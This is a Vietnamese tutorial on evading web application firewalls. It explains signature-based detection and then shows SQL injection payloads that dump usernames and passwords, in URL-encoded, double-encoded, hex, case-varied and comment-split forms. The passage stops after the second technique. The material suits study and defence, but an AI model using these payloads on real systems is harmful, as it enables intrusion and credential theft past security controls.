Kỹ thuật Bypass WAF bằng Obfuscation và Encoding
Tìm hiểu cách vượt qua Web Application Firewall (WAF) bằng các kỹ thuật biến đổi payload thông qua URL encoding, Unicode normalization, case variation và comment injection — và cách WAF thế hệ mới chống lại.
Giới thiệu về WAF
Web Application Firewall (WAF) là lớp bảo vệ nằm giữa client và server, có nhiệm vụ phân tích HTTP request và chặn các payload tấn công dựa trên tập luật (ruleset). Các WAF phổ biến bao gồm: ModSecurity (OWASP CRS), Cloudflare WAF, AWS WAF, và Imperva.
Tuy nhiên, WAF có điểm yếu cốt lõi: chúng hoạt động theo mô hình signature-based detection — so khớp pattern đã biết. Kẻ tấn công khai thác điều này bằng cách biến đổi payload sao cho không khớp với rule nhưng vẫn được server/DB interpret đúng ý định tấn công.
Kỹ thuật 1: URL Encoding
WAF thường kiểm tra raw URL. Nếu payload được encode ở các cấp độ khác nhau, WAF có thể bỏ sót:
# Payload gốc (bị chặn)
' UNION SELECT username,password FROM users--
# URL-encoded một lần
%27%20UNION%20SELECT%20username%2Cpassword%20FROM%20users--
# Double URL-encoded
%2527%2520UNION%2520SELECT%2520username%252Cpassword%2520FROM%2520users--
# Hex encoding
0x27 UNION SELECT 0x75736572...Server web (Apache/Nginx) decode URL trước khi chuyển cho ứng dụng, nhưng WAF có thể kiểm tra payload trước khi decode → bypass.
Kỹ thuật 2: Case Variation
Nhiều WAF rule dùng regex case-sensitive:
-- Bị chặn (WAF nhận diện "UNION SELECT")
' UNION SELECT 1,2,3--
-- Bypass bằng case variation
' uNiOn SeLeCt 1,2,3--
' UnIoN sElEcT 1,2,3--
-- Kết hợp với comment
' UN/**/ION SE/**/LECT 1,2,3--